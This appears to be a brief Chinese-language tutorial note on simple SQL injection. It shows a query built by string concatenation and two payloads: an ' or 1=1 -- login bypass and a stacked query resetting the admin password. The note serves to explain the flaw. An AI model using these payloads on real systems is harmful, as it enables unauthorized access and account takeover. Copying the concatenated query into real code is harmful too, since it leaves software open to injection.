Sql简单注入
时间:2022-03-14 03:46
Sql注入 "select * from T_User where UserName=‘" + txtUserName.Text+"‘" 注入:select * from T_User where UserName=‘‘or 1=1 --‘ and Password=‘1‘后面的被注释了 更改: select * from T_User where UserName=‘‘or 1=1 update T_User set Password=‘123‘ where UserName=‘admin‘ --